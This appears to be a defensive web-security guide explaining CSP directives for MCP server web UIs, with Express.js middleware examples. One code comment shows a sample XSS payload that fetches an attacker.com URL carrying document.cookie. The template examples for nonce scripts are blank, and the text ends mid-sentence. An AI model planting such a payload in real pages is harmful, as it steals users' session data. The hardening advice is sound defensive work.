Topic: mcp server content security policy
MCP server Content Security Policy — CSP configuration for MCP web interfaces
Content Security Policy (CSP) is an HTTP header that tells the browser which scripts, styles, fonts, images, and connections are permitted for a given page. For MCP servers with web interfaces — OAuth flows, admin panels, setup wizards — CSP is the last line of defense when an attacker succeeds in injecting content into the page. Without CSP, a stored XSS payload can exfiltrate session tokens, call tool endpoints, or redirect to phishing pages. With a strict CSP, injected scripts are blocked at the browser level before they execute. This page covers the CSP directives that matter most for MCP server web UIs and how to configure them.
Why CSP matters for MCP server web interfaces
MCP servers with web interfaces often display content that could be attacker-influenced: repository names, file contents, API response data, user-supplied configuration values. If any of this content is rendered without proper escaping, an attacker can inject a script tag. Without CSP, that script executes with full page privileges — it can read session cookies (if not HttpOnly), call your MCP server's HTTP API, or exfiltrate data to an external server.
CSP doesn't prevent the injection — that's the job of output encoding. CSP prevents the injected script from executing. Defense in depth: if the encoding layer fails, CSP is the safety net.
Four critical CSP directives for MCP server HTTP layers
1. script-src — blocking inline script execution
// The minimum effective CSP for an MCP server web interface:
// Block inline scripts, allow only same-origin scripts
// Header value:
// Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; frame-ancestors 'none'
import express from 'express'
const app = express()
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy', [
"default-src 'self'", // Fallback: only same-origin for all resource types
"script-src 'self'", // Scripts: only same-origin .js files, no inline scripts
"style-src 'self' 'unsafe-inline'", // Styles: allow inline (many CSS frameworks need this)
"img-src 'self' data:", // Images: same-origin + data: URIs for inline images
"connect-src 'self'", // Fetch/XHR: only to same origin
"frame-ancestors 'none'", // Clickjacking: no framing
"base-uri 'self'", // Prevent base tag injection
"form-action 'self'", // Form submissions only to same origin
].join('; '))
next()
})
// To allow a specific external CDN for scripts (e.g., an analytics script):
// "script-src 'self' https://cdn.trusted.com"
// NEVER use 'unsafe-inline' or 'unsafe-eval' in script-src — these negate the XSS protection
// If you're using a CDN that requires 'unsafe-inline', demand they support nonces
// or switch to a CDN that serves scripts as separate .js files (not inline)
2. connect-src — blocking data exfiltration
// connect-src restricts where JavaScript can send requests:
// fetch(), XMLHttpRequest, WebSocket, EventSource
// Without connect-src restriction, an XSS payload can exfiltrate session data:
// fetch('https://attacker.com/steal?token=' + document.cookie)
// (Even if cookies are HttpOnly, the payload can call your API and exfiltrate results)
// With connect-src 'self', only same-origin requests are permitted
// fetch('https://attacker.com/steal') → blocked by browser
// If your web UI needs to connect to external services:
const cspDirectives = [
"connect-src 'self'",
// Add specific external origins as needed:
// "connect-src 'self' https://api.github.com",
// "connect-src 'self' wss://realtime.example.com", // WebSocket
].join(' ')
// For the SSE transport endpoint itself, the MCP client connects to your server
// (same origin) — connect-src 'self' covers this
// If your SSE endpoint is on a different port:
// "connect-src 'self' https://mcp-server.example.com:3001"
3. Nonce-based CSP for server-rendered inline scripts
// If you need to inject server-side data into a script tag (e.g., config data):
// Use a per-request cryptographic nonce instead of 'unsafe-inline'
import crypto from 'crypto'
import express from 'express'
const app = express()
app.use((req, res, next) => {
// Generate a unique nonce for each request
const nonce = crypto.randomBytes(16).toString('base64')
// Attach to res.locals so templates can access it
res.locals.cspNonce = nonce
// Include the nonce in the CSP header
res.setHeader('Content-Security-Policy', [
`script-src 'self' 'nonce-${nonce}'`,
"style-src 'self' 'unsafe-inline'",
"connect-src 'self'",
"frame-ancestors 'none'",
"base-uri 'self'",
].join('; '))
next()
})
// In your HTML template (e.g., EJS, Handlebars, or server-rendered HTML):
// The nonce must be added to each approved inline script tag:
//
//
//
// Scripts without the matching nonce are blocked — even injected scripts
// because the attacker doesn't know the per-request nonce value
// CRITICAL: Never log or expose the nonce to the client via other channels
// The nonce is only in the HTTP response header and the script tag's attribute
// If an XSS payload can read the nonce from another element, the protection breaks
// Solution: ensure the nonce is only ever in the